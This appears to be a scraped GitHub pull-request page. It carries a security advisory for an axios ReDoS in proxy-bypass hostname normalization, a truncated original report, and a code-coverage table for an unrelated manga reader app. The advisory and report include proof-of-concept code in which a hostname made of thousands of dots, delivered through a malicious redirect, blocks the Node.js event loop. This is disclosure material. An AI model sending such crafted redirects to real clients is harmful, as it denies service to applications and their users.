CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
References
- https://github.com/axios/axios/security/advisories/GHSA-542g-h47m-68v8
- https://nvd.nist.gov/vuln/detail/CVE-2026-101901
- https://github.com/axios/axios/pull/11141
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- https://github.com/axios/axios/releases/tag/v1.20.0
- https://github.com/advisories/GHSA-542g-h47m-68v8
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
CVE-2026-101906 / GHSA-mghh-pgcx-3jjj
More information
Details
Summary
Axios shouldBypassProxy() normalizes hostnames with hostname.replace(/\.+$/, ''). For a hostname shaped as many dots followed by a non-dot, the anchored regex can perform quadratic backtracking. Because axios re-evaluates proxy bypass rules for redirected requests, a malicious server can trigger this synchronous work through a crafted redirect Location.
The issue affects Node.js applications that use environment proxy variables with NO_PROXY and allow redirects.
Impact
An attacker-controlled server can return a redirect whose hostname causes the axios process to spend significant CPU time in synchronous hostname normalization. During this time, the Node.js event loop is blocked and the application cannot handle other work on that thread.
This is an availability-only issue. It does not disclose request data or modify requests.
Affected Functionality
Affected:
- Node.js HTTP adapter.
- Environment proxy handling through
HTTP_PROXYorHTTPS_PROXY. NO_PROXYorno_proxyset to a non-empty value.- Redirects followed by axios or
follow-redirects.
Not affected:
- Browser adapters.
- Requests with
proxy: false. - Requests with no
NO_PROXYvalue. - Requests with
maxRedirects: 0, unless application code manually follows the malicious redirect and re-enters axios.
Technical Details
lib/helpers/shouldBypassProxy.js contains:
return unmapIPv4MappedIPv6(hostname.replace(/\.+$/, ''));When the hostname is "." * n + "a", the $ anchor causes the regex engine to retry the dot run from many positions before it fails. setProxy() invokes shouldBypassProxy(location) after getProxyForUrl(location) returns a proxy, including on redirect hops via beforeRedirects.proxy.
Local timing on axios 1.18.1 showed increasing cost for crafted hostnames: about 1 ms at 1000 dots, 6.9 ms at 3000 dots, and 34.5 ms at 6000 dots. The growth is consistent with the submitted quadratic claim while avoiding long-running payloads.
Proof of Concept of Attack
Constrained helper-level demonstration:
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
process.env.NO_PROXY = 'example.com';
shouldBypassProxy('http://' + '.'.repeat(6000) + 'a/');In the full adapter path, a malicious server can return that hostname in a 302 Location header while the client has proxy environment variables and NO_PROXY configured.
Workarounds
Disable automatic redirects for requests to untrusted servers, or avoid environment proxy handling for those requests with proxy: false when appropriate. Operators can also avoid broad untrusted redirect-following in services where event-loop availability is critical.
Original report
Summary
shouldBypassProxy normalizes a host with hostname.replace(/.+$/, ''). On a host of the shape (e.g. "." × 40000 + "a"), this anchored regex backtracks quadratically (O(N²)), synchronously starving the Node.js event loop. Because axios re-evaluates the proxy on every redirect using the new Location host, a malicious server can return a crafted 302 Location and freeze the client's event loop for seconds per redirect — a denial of service.
Details
- Affected code: lib/helpers/shouldBypassProxy.js → normalizeNoProxyHost: hostname.replace(/.+$/, '') (one pass in 1.18.1). The open PR #11029 adds a second /.+$/ pass in normalizeIPAddress, doubling the cost (not the origin).
- Root cause: /.+$/ is O(N²) on a long run of dots that is not at the end of the string — the $ anchor forces the engine to backtrack the entire dot-run from every start position.
- Trust boundary (per THREATMODEL): the redirect Location is untrusted (T-2: "axios to network … redirect Location … untrusted"). The caller requests a benign URL; the malicious host arrives via the server's 302. This is not the T-1 caller-supplied-URL non-goal.
- Call chain: setProxy(options, configProxy, location, isRedirect, …) (lib/adapters/http.js) → env-proxy branch → getProxyForUrl(location) returns a proxy → if (!shouldBypassProxy(location)) → normalizeNoProxyHost(parsed.hostname.toLowerCase()) runs /.+$/. setProxy is re-invoked on the redirect hop with the untrusted Location; new URL() retains the long dot-run in .hostname.
- Preconditions: proxy configured via environment (HTTP_PROXY/HTTPS_PROXY, trusted per THREATMODEL T-3, common in CI/containers/enterprise) + NO_PROXY set + redirects followed (default maxRedirects: 5).
PoC
Self-contained, no network — imports axios's own helper: // node poc.mjs (run next to an axios install) import sbp from './node_modules/axios/lib/helpers/shouldBypassProxy.js'; process.env.NO_PROXY = 'example.com'; for (const n of [5000, 10000, 20000, 40000]) { const url = 'http://' + '.'.repeat(n) + 'a/'; // arrives as an untrusted 302 Location host const t0 = process.hrtime.bigint(); sbp(url); // returns false (correct no-bypass) — but O(N^2) slow console.log(`N=${
IMPORTANT
✂ PR body was truncated to here.
Activity
8Coverage Report
Note: Some tests may have failed. See workflow logs for details.
File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s
-----------------------------------|---------|----------|---------|---------|-------------------
All files | 0 | 0 | 0 | 0 |
app | 0 | 0 | 0 | 0 |
+html.tsx | 0 | 100 | 0 | 0 | 9-34
+not-found.tsx | 0 | 100 | 0 | 0 | 14-47
cloudflare.tsx | 0 | 0 | 0 | 0 | 23-129
downloads.tsx | 0 | 0 | 0 | 0 | 47-1147
onboarding.tsx | 0 | 0 | 0 | 0 | 21-106
app/(tabs) | 0 | 0 | 0 | 0 |
Debug.tsx | 0 | 0 | 0 | 0 | 35-1538
bookmarks.tsx | 0 | 0 | 0 | 0 | 55-1073
genres.tsx | 0 | 0 | 0 | 0 | 29-272
index.tsx | 0 | 0 | 0 | 0 | 50-909
mangasearch.tsx | 0 | 0 | 0 | 0 | 52-809
settings.tsx | 0 | 0 | 0 | 0 | 67-1417
app/manga | 0 | 0 | 0 | 0 |
[id].styles.tsx | 0 | 100 | 0 | 0 | 4-7
[id].tsx | 0 | 0 | 0 | 0 | 140-2923
app/manga/[id]/chapter | 0 | 0 | 0 | 0 |
[chapterNumber].styles.tsx | 0 | 0 | 0 | 0 | 4-17
[chapterNumber].tsx | 0 | 0 | 0 | 0 | 113-2922
components | 0 | 0 | 0 | 0 |
Alert.tsx | 0 | 0 | 0 | 0 | 27-220
AppUpdateHost.tsx | 0 | 0 | 0 | 0 | 7-40
AppUpdatePrompt.tsx | 0 | 0 | 0 | 0 | 27-135
BackButton.tsx | 0 | 0 | 0 | 0 | 81-347
BatchDownloadBar.tsx | 0 | 0 | 0 | 0 | 36-334
BatchDownloadHost.tsx | 0 | 0 | 0 | 0 | 8-32
BatchDownloadPlannerModal.tsx | 0 | 0 | 0 | 0 | 38-580
BottomPopup.tsx | 0 | 0 | 0 | 0 | 28-205
BreadcrumbNavigation.tsx | 0 | 0 | 0 | 0 | 29-197
ChapterGuideOverlay.tsx | 0 | 0 | 0 | 0 | 22-354
ChapterListSkeleton.tsx | 0 | 0 | 0 | 0 | 6-51
CustomColorPicker.tsx | 0 | 0 | 0 | 0 | 15-257
CustomWebView.tsx | 0 | 0 | 0 | 0 | 48-971
DownloadButton.tsx | 0 | 0 | 0 | 0 | 58-728
EnhancedBackButton.tsx | 0 | 0 | 0 | 0 | 15-38
ErrorBoundary.tsx | 0 | 0 | 0 | 0 | 27-99
ExpandableText.tsx | 0 | 0 | 0 | 0 | 19-85
GanreTag.tsx | 0 | 0 | 0 | 0 | 10-34
HiddenChapterWebView.tsx | 0 | 0 | 0 | 0 | 23-269
LastReadChapterBar.tsx | 0 | 0 | 0 | 0 | 12-56
MangaCard.tsx | 0 | 0 | 0 | 0 | 47-381
MangaDetailHeaderSkeleton.tsx | 0 | 100 | 0 | 0 | 16-162
MangaDownloadStatus.tsx | 0 | 0 | 0 | 0 | 31-231
MangaFireVrfHost.tsx | 0 | 0 | 0 | 0 | 21-216
NavigationHistoryPanel.tsx | 0 | 0 | 0 | 0 | 9-21
OfflineBookmarksList.tsx | 0 | 0 | 0 | 0 | 34-219
OfflineIndicator.tsx | 0 | 0 | 0 | 0 | 8-72
PageTransition.tsx | 0 | 0 | 0 | 0 | 12-190
ParallaxLayout.tsx | 0 | 0 | 0 | 0 | 15-69
ReaderRetryImage.tsx | 0 | 0 | 0 | 0 | 32-239
ReaderSettingsSheet.tsx | 0 | 0 | 0 | 0 | 64-626
SearchSkeleton.tsx | 0 | 0 | 0 | 0 | 18-112
ShimmerEffect.tsx | 0 | 0 | 0 | 0 | 20-103
SkeletonLoading.tsx | 0 | 0 | 0 | 0 | 13-132
SmartBackButton.tsx | 0 | 0 | 0 | 0 | 15-16
StartupMigrationHost.tsx | 0 | 100 | 0 | 0 | 5-8
StartupMigrationOverlay.tsx | 0 | 0 | 0 | 0 | 20-75
SwipeChapterItem.tsx | 0 | 0 | 0 | 0 | 29-672
ToastHost.tsx | 0 | 0 | 0 | 0 | 11-138
components/navigation | 0 | 100 | 0 | 0 |
TabBarIcon.tsx | 0 | 100 | 0 | 0 | 11
constants | 0 | 0 | 0 | 0 |
Colors.ts | 0 | 0 | 0 | 0 | 4-83
Config.ts | 0 | 0 | 100 | 0 | 2
Layout.ts | 0 | 100 | 100 | 0 | 7-110
env.ts | 0 | 0 | 0 | 0 | 2-16
mangaCache.ts | 0 | 100 | 100 | 0 | 2-8
navigation.ts | 0 | 0 | 0 | 0 | 2-25
telemetry.ts | 0 | 0 | 0 | 0 | 2-11
hooks | 0 | 0 | 0 | 0 |
useAppUpdates.ts | 0 | 0 | 0 | 0 | 38-201
useBatchDownload.ts | 0 | 100 | 0 | 0 | 17-64
useBookmarks.ts | 0 | 100 | 0 | 0 | 11-15
useCachedData.ts | 0 | 100 | 0 | 0 | 10-13
useCloudflareDetection.ts | 0 | 0 | 0 | 0 | 4-37
useColorScheme.ts | 0 | 100 | 0 | 0 | 5
useColorScheme.web.ts | 0 | 100 | 0 | 0 | 7
useDebounce.ts | 0 | 0 | 0 | 0 | 5-19
useDownloadProgress.ts | 0 | 100 | 0 | 0 | 9-25
useDownloadQueue.ts | 0 | 100 | 0 | 0 | 8-34
useDownloadStatus.ts | 0 | 0 | 0 | 0 | 27-295
useLibraryRefresh.ts | 0 | 0 | 0 | 0 | 6-20
useMangaData.ts | 0 | 100 | 0 | 0 | 11-15
useMarkInteractive.ts | 0 | 0 | 0 | 0 | 16-58
useNavigationHistory.ts | 0 | 0 | 0 | 0 | 6-32
useNavigationPerf.ts | 0 | 0 | 0 | 0 | 9-47
useNetworkStatus.ts | 0 | 0 | 0 | 0 | 11-45
useOffline.ts | 0 | 100 | 0 | 0 | 4-7
useSettings.ts | 0 | 0 | 0 | 0 | 5-24
useStartupMigration.ts | 0 | 0 | 0 | 0 | 17-117
useTheme.ts | 0 | 0 | 0 | 0 | 15-25
useThemeColor.ts | 0 | 0 | 0 | 0 | 14-21
useToast.ts | 0 | 0 | 0 | 0 | 6-23
services | 0 | 0 | 0 | 0 |
CacheImages.ts | 0 | 0 | 0 | 0 | 9-1125
anilistAuthService.ts | 0 | 0 | 0 | 0 | 9-76
anilistOAuth.ts | 0 | 0 | 0 | 0 | 6-144
anilistService.ts | 0 | 0 | 0 | 0 | 11-320
appLibraryRefreshService.ts | 0 | 100 | 0 | 0 | 3-10
backgroundDownloadService.ts | 0 | 0 | 0 | 0 | 10-493
batchDownloadOrchestrator.ts | 0 | 0 | 0 | 0 | 52-415
bookmarkService.ts | 0 | 0 | 0 | 0 | 39-912
chapterStorageService.ts | 0 | 0 | 0 | 0 | 21-1560
downloadBackgroundIntegration.ts | 0 | 0 | 0 | 0 | 11-227
downloadErrorHandler.ts | 0 | 0 | 0 | 0 | 13-785
downloadIntegrityManager.ts | 0 | 0 | 0 | 0 | 13-662
downloadManager.ts | 0 | 0 | 0 | 0 | 32-2229
downloadNotificationService.ts | 0 | 0 | 0 | 0 | 19-103
downloadQueue.ts | 0 | 0 | 0 | 0 | 13-606
downloadStatusService.ts | 0 | 0 | 0 | 0 | 42-465
downloadValidationService.ts | 0 | 0 | 0 | 0 | 12-884
env.example.ts | 0 | 100 | 100 | 0 | 1
errorLogService.ts | 0 | 0 | 0 | 0 | 18-494
imageExtractor.ts | 0 | 0 | 0 | 0 | 17-881
mangaDetailLoadService.ts | 0 | 0 | 0 | 0 | 12-183
mangaFireApi.ts | 0 | 0 | 0 | 0 | 34-787
mangaFireRequestHub.ts | 0 | 0 | 0 | 0 | 4-146
mangaFireService.ts | 0 | 0 | 0 | 0 | 47-1975
mangaFireVrfBridge.ts | 0 | 0 | 0 | 0 | 57-1301
mangaIdMigrationService.ts | 0 | 0 | 0 | 0 | 15-533
mangaMappingService.ts | 0 | 0 | 0 | 0 | 11-93
mangaOpenTrace.ts | 0 | 0 | 0 | 0 | 4-209
offlineCacheService.ts | 0 | 0 | 0 | 0 | 28-797
offlineReader.ts | 0 | 0 | 0 | 0 | 38-869
readChapterService.ts | 0 | 0 | 0 | 0 | 7-259
readerPositionService.ts | 0 | 0 | 0 | 0 | 4-54
searchHistoryService.ts | 0 | 0 | 0 | 0 | 4-65
settingsService.ts | 0 | 0 | 0 | 0 | 49-621
startupMigrationService.ts | 0 | 0 | 0 | 0 | 23-446
telemetryService.ts | 0 | 0 | 0 | 0 | 7-241
updateService.ts | 0 | 0 | 0 | 0 | 47-448
webViewRequestInterceptor.ts | 0 | 0 | 0 | 0 | 22-162
services/sources | 0 | 0 | 0 | 0 |
azuki.ts | 0 | 0 | 0 | 0 | 9-166
index.ts | 0 | 0 | 0 | 0 | 18-92
types.ts | 0 | 100 | 0 | 0 | 25-33
utils | 0 | 0 | 0 | 0 |
asyncStorageMonitor.ts | 0 | 0 | 0 | 0 | 10-255
chapterListDedupe.ts | 0 | 0 | 0 | 0 | 16-125
chapterListPagination.ts | 0 | 0 | 0 | 0 | 13-370
chapterLoadError.ts | 0 | 0 | 0 | 0 | 15-84
chapterNavigation.ts | 0 | 0 | 0 | 0 | 14-158
chapterOrdering.ts | 0 | 0 | 0 | 0 | 3-131
collectTelemetryRuntime.ts | 0 | 0 | 0 | 0 | 6-141
contentType.ts | 0 | 0 | 0 | 0 | 8-99
downloadNavigation.ts | 0 | 0 | 0 | 0 | 11-40
downloadOptimizer.ts | 0 | 0 | 0 | 0 | 8-239
haptics.ts | 0 | 0 | 0 | 0 | 17-122
httpErrors.ts | 0 | 0 | 0 | 0 | 1-205
imageRetry.ts | 0 | 0 | 0 | 0 | 1-15
index.ts | 0 | 0 | 0 | 0 |
legacyStorageKeys.ts | 0 | 0 | 0 | 0 | 1-42
logger.ts | 0 | 0 | 0 | 0 | 6-152
mangaDetailsMerge.ts | 0 | 0 | 0 | 0 | 5-122
mangaFireHealth.ts | 0 | 0 | 0 | 0 | 8-21
mangaHeader.ts | 0 | 0 | 0 | 0 | 21-199
mangaImageHeaders.ts | 0 | 0 | 0 | 0 | 5-83
mangaOpenNavigation.ts | 0 | 0 | 0 | 0 | 36-88
mangaOptimisticLoad.ts | 0 | 0 | 0 | 0 | 29-228
manhwaScrollProgress.ts | 0 | 0 | 0 | 0 | 11-85
networkMonitor.ts | 0 | 0 | 0 | 0 | 7-127
performance.ts | 0 | 0 | 0 | 0 | 13-157
readerImageDownload.ts | 0 | 0 | 0 | 0 | 19-125
readerPageIndex.ts | 0 | 0 | 0 | 0 | 15-33
reanimatedSync.ts | 0 | 0 | 0 | 0 | 36-67
sanitizeTelemetryRoute.ts | 0 | 0 | 0 | 0 | 3-6
scheduleIdle.ts | 0 | 100 | 0 | 0 | 5-6
stripChapterPrefix.ts | 0 | 0 | 0 | 0 | 22-56
stripHtmlToText.ts | 0 | 0 | 0 | 0 | 9-19
-----------------------------------|---------|----------|---------|---------|-------------------Generated by coverage workflow
Review the following changes in direct dependencies. Learn more about Socket for GitHub.
Security
View full report